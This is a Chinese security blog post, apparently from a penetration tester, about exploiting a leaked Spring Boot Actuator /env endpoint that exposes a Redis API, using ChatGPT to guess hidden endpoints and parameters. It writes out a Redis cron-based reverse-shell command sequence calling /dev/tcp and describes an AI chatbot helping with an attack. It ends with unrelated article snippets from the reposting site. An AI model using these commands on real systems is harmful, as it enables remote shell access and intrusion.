第61篇:使用chatGPT猜测未知的api接口实现及提交参数|对api接口的进一步利用

b5fed5a385db59f857b879d5f02bcd50.png

 Part1 前言 

大家好,我是ABC_123,公众号正式更名为”希潭实验室”。今天晚上喝了一大杯青岛的散装原浆啤酒,心情大好,回来之后,和老哥讨论了一个关于Springboot的Actuator信息泄露漏洞的利用,虽然最终没有拿下权限,还是有一些心得的,于是笔耕不辍,把这次真实的渗透测试案例记录下来,分享给大家。

平时我们在做渗透测试或者红队评估项目的时候,都会遇到SpringBoot的Actuator信息泄露漏洞,发现了/actuator/env接口,但是苦于没有/refresh接口、没有/heapdump文件、也没有/jolokia/list、也没有/httptrace端口等等,接下来可能就是无解,可能会选择放弃,但是/env里面会泄露很多api接口及其它的敏感信息,遇到api接口,我们可能会苦于不知道需要向该API接口提交哪些参数,或者该API接口还有哪些未知的功能实现,ABC_123今天想到了用chatGPT帮我们去猜测一下未知的API接口实现和提交的参数,取得了一定的效果!

建议大家把公众号“希潭实验室”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

496c55ee2311918a299227cb9ad92722.png

 Part2 技术研究过程 

  • /env接口发现操作redis相关的api

通过查看/actuator/env接口,发现了一处/api/public/test/redis/set": ["post":["tags":[Redis测试操作"]的信息泄露,接下来我的老哥师傅就想到了,有没有可能利用这个接口,实现对redis反弹shell的利用呢?这是一个好思路,但是/actuator/env接口只给出了/redis/set功能,并没有给出如何去设置key的值。那么我们首先要解决的一个问题就是它的设置key的接口是什么及提交的参数是什么,我们只能手工猜测了,这时候我们可以借助强大的chatGPT来帮我们猜一猜试一试

52df99664e3b7fffc22b9d6a8f2a1593.png

  • 接下来就是chatGPT的表现时刻了

首先ABC_123问了chatGPT如下这个问题,目标是测试一下chatGPT对这个api接口的理解程度,发现结果还是不错的,chatGPT完美的解释了这个接口的实现功能。

7679899602606ce53ad09e3ecf80e236.png

接下来查了一下笔记,发现redis反弹shell的利用语句大致如下:

redis-cli -h 192.168.237.135

set x "\n* * * * * bash -i >& /dev/tcp/192.168.237.133/53 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

Save

通过上述命令我们知道,如果想通过redis反弹shell拿权限的话,首先必须得有设置key值的功能。于是ABC_123又问了第2个问题,让chatGPT帮我们猜一下这个api接口的设置key值的功能可能的实现方法。

e95ccb5b4e2fe8460ec312d4e6aa1259.png

我发给老哥测试了一下,结果发现以POST请求提交chatGPT给出的数据包居然成功了!如下图所示:设置key的值之后,通过/redis/get?key=dir成功获取到了我们设置的key值,说明chatGPT给出的语句准确无误,不得不感叹chatGPT的强大。

b99963dd20298cf621d767b0c3783502.png

到这里我突然发现,还缺少一个redis的save功能才能利用成功。

01b41335e5e131472aa828ddbe0f05a3.png

接下来我们让chatGPT帮我们猜测一下redis接口的save功能可能的实现方法,遗憾的是,并没有成功。

7d8469de1f03212f9adc569c3e225ce8.png

于是ABC_123又让chatGPT再给出几个其它的实现save功能的可能的接口实现方法。如下图所示,chatGPT又给了我们6个可能的接口实现。

fc9c04e112970e3454c5552181498035.png

后续比较遗憾的是,上述chatGPT给出的几个可能的带有save功能的接口都没有测试成功。

934786489944cf1426b923128ff2283d.png

最后我们发现,该redis的操作接口可能根本就没有关于redis的save功能的实现,但是ABC_123感觉这个方法还是不错的,大家后续遇到/actuator/env接口或者其他的API接口不知道提交参数的情况下,不防让chatGPT帮忙猜测一下吧,ABC_123感觉后续肯定会有大用处的

于是最后又让chatGPT努力了一把,ABC_123又问了这么一个问题:

fb3309cccb801827f4c10627c694e25e.png

可以看到chatGPT参考/test/redis/get?key=dir功能的,猜测了很多其它api接口功能的实现,我们可以挨个测试一遍,由此可见,chatGPT可以帮助我们节省很多脑力和体力。

 Part3 总结 

1.   虽然最后通过操作redis的api接口反弹shell没有成功,但是这个思路ABC_123感觉还是值得实践的,至少我们挖掘到了一个可用的高危漏洞,毕竟能获得设置、修改、删除redis数据库的权限也是致命的。

2.   在渗透测试或者红队评估项目中,看来还是得关注最新的技术,多动脑筋会有意想不到的收获。

3.   chatGPT在我们网络安全日常工作中,还有很多其它的用处,后续文章ABC_123会专门总结分享给大家。

7f43242644a40242c185d0e638b1794b.png

公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。

Contact me: 0day123abc#gmail.com(replace # with @)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/13468.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

某大型啤酒企业:构建网络安全软实力,首选Coremail反钓鱼演练

客户背景 某大型啤酒厂商的公司规模和市场份额多年来始终都处于行业领先地位,积极赞助多项体育赛事,持续丰富和提升品牌形象。作为一家具有全球影响力的企业,自然也成为了全球黑客等攻击团伙的重点目标,而系统攻击的开端便是钓鱼…

50万买只波士顿动力机器狗,只为训练它“尿”啤酒,还让女朋友尝尝

晓查 杨净 发自 凹非寺 量子位 报道 | 公众号 QbitAI 花50万元,买下波士顿动力机器狗,只为训练它“撒尿”,有钱人的世界都这么枯燥了? 著名YouTube科技博主Michael Reeves真的这么做了,他拍的视频发布仅24小时后&#…

GPT专业应用:撰写工作简报

●图片由Lexica 生成,输入:Workers working overtime 工作简报,作为一种了解情况、沟通信息的有效手段,能使上级机关和领导及时了解、掌握所属部门的政治学习、军事训练、行政管理等方面的最新情况;同时,能…

把ChatGPT (野猫),养成家猫(企业专用的ChatGPT)

如何把ChatGPT (野猫),养成家猫(企业专用的ChatGPT) 呢? 我目前的建议是:开发自己的Graph AI (本家丫环),搭配ChatGPT (外来的格格)。丫环的背后,我建了企业KG(知识图谱)来支持Graph AI model 。给最终用户更广的c…

Chatgpt探索分享2:Chatgpt,你身边的“最佳辩友”

正在上传…重新上传取消 ChatGPT云炬学长 公众号:云炬网络 Chatgpt的辩论探索,可以一定程度上提高以下几个方面的能力:1、训练逻辑思辨的能力2、训练系统提问的能力3、训练有效表达的能力在现实生活中,要锻炼以上三种能力&…

Chatgpt探索分享1:如何用chatgpt,两小时内搞懂一个行业

v 正在上传…重新上传取消 ChatGPT云炬学长 1 人赞同了该文章 我个人工作的特点,需要不断地了解新的行业和领域,之前有学习过麦肯锡的“100关键词”的方式,去了解一个全新的领域。不过这个方式时间成本比较高,对搜索能力的要求…

使用chatgpt探索XSS问题

首先问的问题是:XSS的类型有哪些?如何有效地预防? 回答的结果来看,还是比较中规中矩的。 紧接着,第二个问题:“XSS的三种类型的区别是什么?” 只是从形成原理上分析了不同,但是&…

ChatGPT探索系列之五:讨论人工智能伦理问题及ChatGPT的责任

文章目录 前言一、安全二、隐私和道德三、我们应该做什么总结 前言 ChatGPT发展到目前,其实网上已经有大量资料了,博主做个收口,会出一个ChatGPT探索系列的文章,帮助大家深入了解ChatGPT的。整个系列文章会按照一下目标来完成&am…

ChatGPT 探索:Code Interpreter 高级指南;OpenAI发布ChatGPT的代码解释器功能

🦉 AI新闻 🚀 OpenAI发布ChatGPT的代码解释器功能,提供更好的交互式编程体验和数据可视化功能 摘要:OpenAI推出了ChatGPT的新功能——代码解释器,为用户提供更好的交互式编程体验和强大的数据可视化功能。用户只需用…

ChatGPT 出现报错 ERROR: Too many requests in 1 hour. Try again later.我的解决方法,2023 1月8日

下面这个方法我试了没用 首先,需要清空你自己用浏览器的cookies,我用的edage,点击设置 然后clash启用TUN模式,注意不要选香港,选欧美国家 然后登录chatgpt进去就行了,可以一直问了 最近人好多,…

又有新动作 ChatGPT推出插件功能,并开源

北美时间3月23日,Open AI在官网宣布推出ChatGPT插件功能,同时开源知识库检索插件源代码!(插件申请地址:https://openai.com/waitlist/plugins)欢迎使用体验【V起来助手】ChatGPT插件、AI单聊、AI作画等等&a…

ChatGPT来个一探究竟

ChatGPT简介ChatGPT使用场景ChatGPT如何实现智能ChatGPT影响ChatGPT发展趋势ChatGPT发展方向我们对ChatGPT发展的担忧ChatGPT各大公司应对ChatGPT骗局 1.ChatGPT简介 Chat 是聊天,而GPT是Generative Pretrained Transformer的缩写:预训练生成模型。因此…

pycharm安装gensim扩展包(镜像)【已成功安装】

安装gensim扩展包需要先安装numpy和scipy,安装顺序:numpy>scripy>gensim。 gensim有三种安装选择:A:应用内pip直接安装;B:gensim官网下载安装;C:镜像安装。前两种都很慢&…

ChatGPT智能聊天系统1.0.3版本发布啦~

ChatGPT智能聊天系统1.0.3版本啦!主要更新内容如下: 新增功能 获取微信昵称 支付宝支付 PC端允许退出登录 PC端创作和技能支持关键词搜索 分享记录添加今日分享统计 邀请记录添加今日邀请和今日发放统计 细节优化 模型对话框去掉快递发送功能 后…

独立开发变现周刊(第85期):一个会员服务的SaaS,月收入2万美金

分享独立开发、产品变现相关内容,每周五发布。 目录 1、Obsidian Canvas:一个无限的空间来构建你的想法2、message-pusher: 搭建专属于你的消息推送服务3、Careerflow LinkedIn: 40倍提升你的工作机会4、vue-pure-admin: 一款开源后台管理系统5、一个提供…

升空3分钟后爆炸!SpaceX星舰发射失败;特斯拉中国工厂普通工人月薪1万块;机器人加班也会“猝死” | EA周报...

EA周报 2023年4月21日 每个星期1分钟,元宝带你喝一杯IT人的浓缩咖啡,了解天下事、掌握IT核心技术。 周报看点 1、杭州一家公司开出20万月薪抢人!ChatGPT掀起AI热潮人才被爆抢 2、SpaceX「星舰」发射任务失败,星舰未能与重型助推器…

特斯拉中国工厂普通工人月薪1万块;OpenAI招聘移动工程师,手机或成AI新入口;Fuchsia F10发布|极客头条...

「极客头条」—— 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧。 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews) 一分钟速览新闻点&#…

英伟达发布ChatGPT专用GPU,推理速度提升了10倍

关注并星标 从此不迷路 计算机视觉研究院 公众号ID|ComputerVisionGzq 学习群|扫码在主页获取加入方式 计算机视觉研究院专栏 作者:Edison_G AI 的 iPhone 时刻,要有一块好的芯片。 转自《机器之心》 ‍ 据介绍,每个 D…

【回答问题】ChatGPT上线了!请使用JAVA语言写一个谷歌 LaMDA模型?

【回答问题】ChatGPT上线了!请使用JAVA语言写一个谷歌 LaMDA模型? 您好!下面是使用 Java 语言实现谷歌 LaMDA 模型的简单示例。这是一个使用 GPT-3 的对话机器人示例,它使用了 LaMDA 模型进行语言生成。 复制 import openai.gpt3.GPT3;public class LaMDAExample {publ…

秋天到了,有哪些秋季必备的育儿小常识?

炎热的夏季将要达到尾声,清凉的秋天即将来临。伴随着气温的转变,气温的无常反复,对育儿教育又有了新的要求。因为小宝宝的适应力还比较弱,在气温的转变中所必须留意的层面还必须更加全面,对即将来临的秋天,…